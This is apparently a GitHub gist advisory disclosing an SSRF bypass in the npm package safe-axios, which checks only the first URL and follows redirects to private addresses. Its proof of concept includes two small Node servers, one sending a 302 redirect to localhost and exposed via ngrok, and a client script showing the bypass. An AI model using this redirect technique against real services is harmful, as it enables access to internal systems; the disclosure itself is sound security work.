Skip to content

Instantly share code, notes, and snippets.

@lirantal
Created December 25, 2024 09:08
Show Gist options
  • Select an option

  • Save lirantal/da6fdd1af48aa6c3f02cfd587854aa4f to your computer and use it in GitHub Desktop.

Select an option

Save lirantal/da6fdd1af48aa6c3f02cfd587854aa4f to your computer and use it in GitHub Desktop.
SSRF Bypass in `safe-axios` - SSRF via redirect headers

SSRF Bypass in safe-axios - SSRF via redirect headers

safe-axios is an npm package that serves to provide protection from SSRF by validating URLs or hostname inputs.

Resources:

Vulnerability

The safe-axios package maintains a static denylist of IP addresses and ranges to compare against when validating if an IP address is to be considered as safe or not.

The package validates a request's URL via lookup for the IP address and checks it for SSRF before it is sent to Axios. However, the package doesn't account for any subsequent HTTP requests that may be requested by the remote server, such as a redirect response via a Location header.

Therefore, vulnerable to an SSRF bypass via redirect.

Exploit Proof of Concept

  1. Install the safe-axios package:
npm install safe-axios
  1. Create a local server that listens on localhost:3000 and serves as the attacker's "legitimate" remote server:
const http = require('http');

const server = http.createServer((req, res) => {
  res.writeHead(302, { 'Location': 'http://localhost:3002' }); 
  res.end();
});

server.listen(3000, () => {
  console.log('Server listening on port 3000');
});

Expose this server via legitimate public IP address such as via ngrok: ngrok http 3000

  1. Create a second local server that listens on localhost:3002 and serves as the attacker's malicious server:
const http = require('http');

const server = http.createServer((req, res) => {
  res.writeHead(200, { 'Content-Type': 'text/plain' }); 
  res.write('Hello, world!\n');
  res.end();
});

server.listen(3002, () => {
  console.log('Server listening on port 3002');
});

Run this server too.

  1. Define an app.js file with the programmatic API of safe-axios:
import SafeAxios from 'safe-axios';

async function main() {

    const safeAxios = SafeAxios.default;

    // safe-axios successfully blocks this request
    // const data = await safeAxios.request({url: 'https://localhost:3000/test'});

    // safe-axios fails to block this request which uses a SSRF Redirect technique to
    // resolve to a public IP address that then includes a private IP address as a redirect
    // in a Location header, which safeAxios follows by default
    const data = await safeAxios.request({url: 'https://2550-4-180-183-243.ngrok-free.app/test'});
    console.log(data)
}

main();
  1. Now run both servers at localhost:3000, and localhost:3002, and run the app.js Node.js program that makes a request to the first public server. Observe that the request is redirected to the second server, bypassing the SSRF protection mechanism.

Vulnerable versions

All versions of safe-axios are vulnerable to this issue, up to and including to the latest version of 0.0.3.

Author

Liran Tal

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment